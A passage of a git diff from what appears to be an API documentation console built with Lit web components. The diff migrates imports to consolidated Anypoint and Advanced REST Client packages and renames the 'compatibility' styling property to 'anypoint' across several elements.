-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
 import elementStyles from './styles/ApiDocumentation.js';
 import { 
   ApiDocumentationBase,
@@ -29,7 +29,7 @@ import '../../api-server-selector.js';
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../events/ServerEvents').ServerCountChangeEvent} ServerCountChangeEvent */
 /** @typedef {import('../events/ServerEvents').ServerChangeEvent} ServerChangeEvent */
-/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
 
 export const isAsyncValue = Symbol('isAsyncValue');
 export const operationIdValue = Symbol('operationIdValue');
@@ -769,7 +769,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
         .type="${serverType}"
         ?hidden="${!renderSelector}"
         ?allowCustom="${allowCustomBaseUri}"
-        ?compatibility="${anypoint}"
+        ?anypoint="${anypoint}"
         autoSelect
         @serverscountchanged="${this[serversCountHandler]}"
         @apiserverchanged="${this[serverChangeHandler]}"
diff --git a/src/elements/ApiNavigationElement.d.ts b/src/elements/ApiNavigationElement.d.ts
index b4c3714..064d4cb 100644
--- a/src/elements/ApiNavigationElement.d.ts
+++ b/src/elements/ApiNavigationElement.d.ts
@@ -278,10 +278,10 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   rearrangeEndpoints: boolean;
 
   /**
-   * Enables compatibility with Anypoint components.
+   * Enables Anypoint platform styles.
    * @attribute
    */
-  compatibility: boolean;
+  anypoint: boolean;
 
   /**
    * Determines and changes state of endpoints.
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
index 287cb66..ba20649 100644
--- a/src/elements/ApiNavigationElement.js
+++ b/src/elements/ApiNavigationElement.js
@@ -1,10 +1,10 @@
 /* eslint-disable lit-a11y/click-events-have-key-events */
 import { LitElement, html } from 'lit-element';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import { keyboardArrowDown, openInNew, } from '@advanced-rest-client/arc-icons/ArcIcons.js';
-import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-collapse.js';
+import { keyboardArrowDown, openInNew, } from '@advanced-rest-client/icons/ArcIcons.js';
+import { HttpStyles } from '@advanced-rest-client/app';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import httpMethodStyles from './styles/HttpLabel.js';
 import navStyles from './styles/Navigation.js';
 import { EventTypes } from '../events/EventTypes.js'
 import { NavigationEvents } from '../events/NavigationEvents.js';
@@ -17,7 +17,7 @@ import { NavigationEvents } from '../events/NavigationEvents.js';
 /* eslint-disable prefer-destructuring */
 /* eslint-disable consistent-return */
 
-/** @typedef {import('@anypoint-web-components/anypoint-collapse').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../types').MethodItem} MethodItem */
 /** @typedef {import('../types').EndpointItem} EndpointItem */
@@ -292,9 +292,9 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
        */
       rearrangeEndpoints: { type: Boolean },
       /**
-       * Enables compatibility with Anypoint components.
+       * Enables Anypoint platform styles.
        */
-      compatibility: { type: Boolean },
+      anypoint: { type: Boolean },
       /**
        * Determines and changes state of endpoints.
        */
@@ -313,7 +313,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   }
 
   get styles() {
-    return [navStyles, httpMethodStyles];
+    return [navStyles, HttpStyles.default];
   }
 
   /** @returns {string} */
@@ -522,7 +522,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
     this.summary = false;
     this.noink = false;
     this.allowPaths = false;
-    this.compatibility = false;
+    this.anypoint = false;
     this.rearrangeEndpoints = false;
     this.indentSize = 8;
     /**
@@ -1900,7 +1900,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
           class="toggle-button"
           aria-label="Toggle ${lowercaseSectionLabel}"
           .noink="${this.noink}"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           tabindex="-1"
           data-toggle="endpoints"
         >
@@ -1985,7 +1985,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
         class="endpoint-toggle-button"
         aria-label="Toggle endpoint"
         .noink="${this.noink}"
-        ?compatibility="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         tabindex="-1"
         @click="${this[toggleEndpointButton]}"
       >
@@ -2060,7 +2060,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
             noink="${this.noink}"
             @click="${this[itemClickHandler]}"
             aria-label="Toggle documents"
-            ?compatibility="${this.compatibility}"
+            ?anypoint="${this.anypoint}"
             tabindex="-1"
           >
             <span class="icon">${keyboardArrowDown}</span>
@@ -2136,7 +2136,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
             class="toggle-button"
             noink="${this.noink}"
             aria-label="Toggle types"
-            ?compatibility="${this.compatibility}"
+            ?anypoint="${this.anypoint}"
             tabindex="-1"
             data-toggle="types"
           >
@@ -2194,7 +2194,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
           class="toggle-button"
           noink="${this.noink}"
           aria-label="Toggle security"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           tabindex="-1"
           data-toggle="security"
         >
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index a88575b..bdd0683 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -2,14 +2,14 @@
 import { html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
-import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
-import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
-import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
-import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
+import '@anypoint-web-components/awc/anypoint-tab.js';
+import '@anypoint-web-components/awc/anypoint-tabs.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import '@advanced-rest-client/http-code-snippets/http-code-snippets.js';
-import HttpStyles from './styles/HttpLabel.js';
+import { HttpStyles } from '@advanced-rest-client/app';
+import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
+import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import { ns } from "../helpers/Namespace.js";
 import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
 import elementStyles from './styles/ApiOperation.js';
@@ -42,7 +42,7 @@ import '../../api-security-requirement-document.js';
 /** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
 /** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
+/** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
 /** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */
 
 export const queryEndpoint = Symbol('queryEndpoint');
@@ -96,7 +96,7 @@ export const computeOperationModel = Symbol('computeOperationModel');
  */
 export default class ApiOperationDocumentElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles, schemaStyles];
+    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles, schemaStyles];
   }
 
   /** 
@@ -948,9 +948,9 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
         .selected="${selectedStatus}"
         attrForSelected="data-status"
         @selected="${this[statusCodeHandler]}"
-        ?compatibility="${anypoint}"
+        ?anypoint="${anypoint}"
       >
-        ${filtered.map((item) => html`<anypoint-tab data-status="${item.statusCode}" ?compatibility="${anypoint}">${item.statusCode}</anypoint-tab>`)}
+        ${filtered.map((item) => html`<anypoint-tab data-status="${item.statusCode}" ?anypoint="${anypoint}">${item.statusCode}</anypoint-tab>`)}
       </anypoint-tabs>
       <div class="codes-selector-divider"></div>
     </div>
@@ -1028,7 +1028,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
         .selected="${securityId}"
         attrForSelected="data-id"
         @selected="${this[securitySelectionHandler]}"
-        ?compatibility="${anypoint}"
+        ?anypoint="${anypoint}"
       >
         ${security.map((item) => this[securityTabTemplate](item))}
       </anypoint-tabs>
@@ -1052,7 +1052,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
         label = parts.join('/');
       }
     }
-    return  html`<anypoint-tab data-id="${id}" ?compatibility="${this.anypoint}">${label}</anypoint-tab>`;
+    return  html`<anypoint-tab data-id="${id}" ?anypoint="${this.anypoint}">${label}</anypoint-tab>`;
   }
 
   /**
@@ -1067,7 +1067,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
       class="action-button"
       @click="${this[tryItHandler]}"
       emphasis="high"
-      ?compatibility="${this.anypoint}"
+      ?anypoint="${this.anypoint}"
     >Try it</anypoint-button>
     `;
   }
@@ -1083,7 +1083,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     const content = html`
     <http-code-snippets
       scrollable
-      ?compatibility="${this.anypoint}"
+      ?anypoint="${this.anypoint}"
       .url="${this.snippetsUri}"
       .method="${(operation.method || '').toUpperCase()}"
       .payload="${this[snippetsPayloadValue]}"
diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js
index 6ec68f0..bcab899 100644
--- a/src/elements/ApiParametrizedSecuritySchemeElement.js
+++ b/src/elements/ApiParametrizedSecuritySchemeElement.js
@@ -9,9 +9,9 @@ import ApiSecurityDocumentElement, {
 } from "./ApiSecurityDocumentElement.js";
 import elementStyles from './styles/ParametrizedSecurityElement.js';
 
+/** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */
 /** @typedef {import('../helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
-/** @typedef {import('lit-element').TemplateResult} TemplateResult */
 
 export const settingsIdValue = Symbol('settingsIdValue');
 export const querySettings = Symbol('querySettings');
diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js
index ed45a08..a886a15 100644
--- a/src/elements/ApiRequestDocumentElement.js
+++ b/src/elements/ApiRequestDocumentElement.js
@@ -1,7 +1,7 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiRequest.js';
 import { 
@@ -25,7 +25,7 @@ import '../../api-parameter-document.js';
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
 /** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
-/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 
 export const queryRequest = Symbol('queryRequest');
diff --git a/src/elements/ApiRequestEditorElement.d.ts b/src/elements/ApiRequestEditorElement.d.ts
index b602ea1..692e6bd 100644
--- a/src/elements/ApiRequestEditorElement.d.ts
+++ b/src/elements/ApiRequestEditorElement.d.ts
@@ -12,10 +12,10 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 import { AmfSerializer } from '../helpers/AmfSerializer';
-import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ApiEndPoint, ApiOperation, ApiPayload, ApiParameter, ApiServer } from '../helpers/api';
 import { Operation, AmfDocument } from '../helpers/amf';
 import { AmfParameterMixin } from '../lib/AmfParameterMixin';
@@ -135,10 +135,10 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   */
   allowCustom: boolean;
   /**
-  * Enables compatibility with Anypoint styling
+  * Enables Anypoint platform styles.
   * @attribute
   */
-  compatibility: boolean;
+  anypoint: boolean;
   /**
   * Enables Material Design outlined style
   * @attribute
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index b028410..52ed3b8 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -16,23 +16,22 @@ the License.
 */
 import { html, LitElement } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
-import { TelemetryEvents, RequestEventTypes } from '@advanced-rest-client/arc-events';
-import { v4 } from '@advanced-rest-client/uuid-generator';
-import { HeadersParser } from '@advanced-rest-client/arc-headers';
-import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item-body.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@advanced-rest-client/body-editor/body-formdata-editor.js';
-import '@advanced-rest-client/body-editor/body-multipart-editor.js';
-import '@advanced-rest-client/body-editor/body-raw-editor.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
-import '@anypoint-web-components/anypoint-switch/anypoint-switch.js';
-import { ifProperty } from "@advanced-rest-client/body-editor";
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
+import { TelemetryEvents, RequestEventTypes } from '@advanced-rest-client/events';
+import { v4 } from '@advanced-rest-client/uuid';
+import { HeadersParser, ifProperty } from '@advanced-rest-client/app';
+import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-item-body.js';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-switch.js';
+import '@advanced-rest-client/app/define/body-formdata-editor.js';
+import '@advanced-rest-client/app/define/body-multipart-editor.js';
+import '@advanced-rest-client/app/define/body-raw-editor.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import elementStyles from './styles/Editor.styles.js';
 import { ensureContentType, generateHeaders } from "../lib/Utils.js";
 import { cachePayloadValue, getPayloadValue, readCachePayloadValue } from "../lib/PayloadUtils.js";
@@ -49,10 +48,10 @@ import '../../api-authorization-editor.js';
 import '../../api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
-/** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
-/** @typedef {import('@advanced-rest-client/body-editor').BodyRawEditorElement} BodyRawEditorElement */
-/** @typedef {import('@advanced-rest-client/body-editor').BodyFormdataEditorElement} BodyFormdataEditorElement */
+/** @typedef {import('@advanced-rest-client/events').ApiTypes.ApiType} ApiType */
+/** @typedef {import('@advanced-rest-client/app').Oauth2Credentials} Oauth2Credentials */
+/** @typedef {import('@advanced-rest-client/app').BodyRawEditorElement} BodyRawEditorElement */
+/** @typedef {import('@advanced-rest-client/app').BodyFormdataEditorElement} BodyFormdataEditorElement */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
 /** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
@@ -61,9 +60,9 @@ import '../../api-server-selector.js';
 /** @typedef {import('../helpers/amf').Operation} Operation */
 /** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
 /** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
-/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
-/** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointInputElement} AnypointInput */
 /** @typedef {import('../elements/ApiAuthorizationEditorElement').default} ApiAuthorizationEditorElement */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 /** @typedef {import('../types').PopulationInfo} PopulationInfo */
@@ -180,9 +179,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
        */
       allowCustom: { type: Boolean },
       /**
-       * Enables compatibility with Anypoint styling
+       * Enables Anypoint platform styles.
        */
-      compatibility: { type: Boolean, reflect: true },
+      anypoint: { type: Boolean, reflect: true },
       /**
        * Enables Material Design outlined style
        */
@@ -446,7 +445,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     /** @type boolean */
     this.outlined = undefined;
     /** @type boolean */
-    this.compatibility = undefined;
+    this.anypoint = undefined;
     /** @type boolean */
     this.noServerSelector = undefined;
     /** @type boolean */
@@ -1428,7 +1427,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     if (!security) {
       return '';
     }
-    const { selectedSecurity = 0, amf, compatibility, outlined, redirectUri, credentialsSource, globalCache } = this;
+    const { selectedSecurity = 0, amf, anypoint, outlined, redirectUri, credentialsSource, globalCache } = this;
     const rendered = security[selectedSecurity];
     return html`
     <section class="authorization params-section">
@@ -1437,7 +1436,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       <api-authorization-editor 
         .amf="${amf}"
         .security="${rendered.security}"
-        .compatibility="${compatibility}"
+        .anypoint="${anypoint}"
         .outlined="${outlined}"
         .oauth2RedirectUri="${redirectUri}"
         .credentialsSource="${credentialsSource}"
@@ -1452,18 +1451,18 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * @returns {TemplateResult} The template for the security drop down selector.
    */
   [authorizationSelectorTemplate](security, selected) {
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <anypoint-dropdown-menu
       name="selected"
-      .compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       class="auth-selector"
     >
       <label slot="label">Authorization method</label>
       <anypoint-listbox slot="dropdown-content"
         .selected="${selected}"
-        @selected-changed="${this[authSelectorHandler]}"
-        .compatibility="${compatibility}"
+        @selectedchange="${this[authSelectorHandler]}"
+        .anypoint="${anypoint}"
         attrForItemTitle="data-label"
       >
         ${security.map((item) => this[authorizationSelectorItemTemplate](item))}
@@ -1483,7 +1482,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     const single = !type;
     return html`
     <anypoint-item
-      .compatibility="${this.compatibility}"
+      ?anypoint="${this.anypoint}"
       data-label="${label}"
     >
       <anypoint-item-body ?twoline="${!single}">
@@ -1509,12 +1508,12 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * @return {TemplateResult}
    */
   [abortButtonTemplate]() {
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <anypoint-button
       class="send-button abort"
       emphasis="high"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       @click="${this[abortHandler]}"
     >Abort</anypoint-button>`;
   }
@@ -1526,13 +1525,13 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    */
   [sendButtonTemplate]() {
     const {
-      compatibility,
+      anypoint,
     } = this;
     return html`
     <anypoint-button
       class="send-button"
       emphasis="high"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       @click="${this[sendHandler]}"
     >Send</anypoint-button>`;
   }
@@ -1547,7 +1546,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       serverValue,
       allowCustomBaseUri,
       outlined,
-      compatibility,
+      anypoint,
       serverSelectorHidden,
       domainId,
     } = this;
@@ -1561,7 +1560,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       .selectedShape="${domainId}"
       selectedShapeType="method"
       autoSelect
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       @serverscountchanged="${this[serverCountHandler]}"
       @apiserverchanged="${this[serverHandler]}"
@@ -1806,7 +1805,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
         required
         invalidMessage="The URL is invalid"
         .value="${url}"
-        ?compatibility="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         ?outlined="${this.outlined}"
         @change="${this[urlEditorChangeHandler]}"
         @blur="${this[validateUrl]}"
diff --git a/src/elements/ApiRequestElement.d.ts b/src/elements/ApiRequestElement.d.ts
index 2c11094..0be5c6d 100644
--- a/src/elements/ApiRequestElement.d.ts
+++ b/src/elements/ApiRequestElement.d.ts
@@ -12,10 +12,10 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { AmfDocument } from '../helpers/amf';
-import { ArcResponse, ArcRequest, ApiTypes } from '@advanced-rest-client/arc-types';
-import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { ArcResponse, ArcRequest, ApiTypes } from '@advanced-rest-client/events';
+import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ServerType, ApiConsoleResponse, ApiConsoleRequest } from '../types';
 import { ApiRequestEvent, ApiResponseEvent } from '../events/RequestEvents';
 
@@ -56,58 +56,58 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
    */
   handleNavigationEvents: boolean;
   /**
-  * When set it renders the URL input above the URL parameters.
-  * @attribute
-  */
+   * When set it renders the URL input above the URL parameters.
+   * @attribute
+   */
   urlEditor: boolean;
   /**
-  * When set it renders a label with the computed URL.
-  * @attribute
-  */
+   * When set it renders a label with the computed URL.
+   * @attribute
+   */
   urlLabel: boolean;
   /**
-  * A base URI for the API. To be set if RAML spec is missing `baseUri`
-  * declaration and this produces invalid URL input. This information
-  * is passed to the URL editor that prefixes the URL with `baseUri` value
-  * if passed URL is a relative URL.
-  * @attribute
-  */
+   * A base URI for the API. To be set if RAML spec is missing `baseUri`
+   * declaration and this produces invalid URL input. This information
+   * is passed to the URL editor that prefixes the URL with `baseUri` value
+   * if passed URL is a relative URL.
+   * @attribute
+   */
   baseUri: string;
   /**
-  * OAuth2 redirect URI.
-  * This value **must** be set in order for OAuth 1/2 to work properly.
-  * @attribute
-  */
+   * OAuth2 redirect URI.
+   * This value **must** be set in order for OAuth 1/2 to work properly.
+   * @attribute
+   */
   redirectUri: string;
   /**
-  * Enables compatibility with Anypoint styling
-  * @attribute
-  */
-  compatibility: boolean;
+   * Enables Anypoint platform styles.
+   * @attribute
+   */
+  anypoint: boolean;
   /**
-  * Enables Material Design outlined style
-  * @attribute
-  */
+   * Enables Material Design outlined style
+   * @attribute
+   */
   outlined: boolean;
   /**
-  * Created by the transport ARC `request` object
-  */
+   * Created by the transport ARC `request` object
+   */
   request: ArcRequest.TransportRequest;
   /**
-  * Created by the transport ARC `response` object.
-  */
+   * Created by the transport ARC `response` object.
+   */
   response: ArcResponse.Response | ArcResponse.ErrorResponse;
   /**
-  * Forces the console to send headers defined in this string overriding any used defined
-  * header.
-  * This should be an array of headers with `name` and `value` keys, e.g.:
-  * ```
-  * [{
-  *   name: "x-token",
-  *   value: "value"
-  * }]
-  * ```
-  */
+   * Forces the console to send headers defined in this string overriding any used defined
+   * header.
+   * This should be an array of headers with `name` and `value` keys, e.g.:
+   * ```
+   * [{
+   *   name: "x-token",
+   *   value: "value"
+   * }]
+   * ```
+   */
   appendHeaders: ApiTypes.ApiType[];
   /**
   * If set every request made from the console will be proxied by the service provided in this
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index 97ce7c3..8a2e28a 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -12,8 +12,8 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { html, LitElement } from 'lit-element';
-import { ArcHeaders } from '@advanced-rest-client/arc-headers';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
+import { ArcHeaders } from '@advanced-rest-client/app';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import elementStyles from './styles/Panel.styles.js';
 import { EventTypes } from '../events/EventTypes.js';
 import '../../api-request-editor.js';
@@ -23,12 +23,12 @@ import '../../api-response-view.js';
 /* eslint-disable class-methods-use-this */
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcResponse.Response} ArcResponse */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcResponse.ErrorResponse} ErrorResponse */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.ArcBaseRequest} ArcBaseRequest */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.TransportRequest} TransportRequest */
-/** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
-/** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
+/** @typedef {import('@advanced-rest-client/events').ArcResponse.Response} ArcResponse */
+/** @typedef {import('@advanced-rest-client/events').ArcResponse.ErrorResponse} ErrorResponse */
+/** @typedef {import('@advanced-rest-client/events').ArcRequest.ArcBaseRequest} ArcBaseRequest */
+/** @typedef {import('@advanced-rest-client/events').ArcRequest.TransportRequest} TransportRequest */
+/** @typedef {import('@advanced-rest-client/events').ApiTypes.ApiType} ApiType */
+/** @typedef {import('@advanced-rest-client/app').Oauth2Credentials} Oauth2Credentials */
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
@@ -100,9 +100,9 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
        */
       redirectUri: { type: String },
       /**
-       * Enables compatibility with Anypoint styling
+       * Enables Anypoint platform styles.
        */
-      compatibility: { type: Boolean, reflect: true },
+      anypoint: { type: Boolean, reflect: true },
       /**
        * Enables Material Design outlined style
        */
@@ -265,7 +265,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     /** @type boolean */
     this.allowCustom = false;
     /** @type boolean */
-    this.compatibility = false;
+    this.anypoint = false;
     /** @type boolean */
     this.outlined = false;
     /** @type string */
@@ -500,7 +500,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
       eventsTarget,
       allowHideOptional,
       allowCustom,
-      compatibility,
+      anypoint,
       outlined,
       serverValue,
       serverType,
@@ -523,7 +523,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
       ?allowHideOptional="${allowHideOptional}"
       ?allowCustom="${allowCustom}"
       ?outlined="${outlined}"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       .serverValue="${serverValue}"
       .serverType="${serverType}"
       ?noServerSelector="${noServerSelector}"
@@ -548,7 +548,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     return html`<api-response-view
       .request="${this.request}"
       .response="${this.response}"
-      .compatibility="${this.compatibility}"
+      ?anypoint="${this.anypoint}"
     ></api-response-view>`;
   }
 }
diff --git a/src/elements/ApiResourceDocumentElement.d.ts b/src/elements/ApiResourceDocumentElement.d.ts
index 8836b21..63cdf1c 100644
--- a/src/elements/ApiResourceDocumentElement.d.ts
+++ b/src/elements/ApiResourceDocumentElement.d.ts
@@ -1,5 +1,5 @@
 import { TemplateResult } from 'lit-element';
-import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
 import { EndPoint } from '../helpers/amf';
 import { ApiOperation, ApiServer, ApiEndPoint } from '../helpers/api';
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index 55089dc..7fc6e4f 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -619,7 +619,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
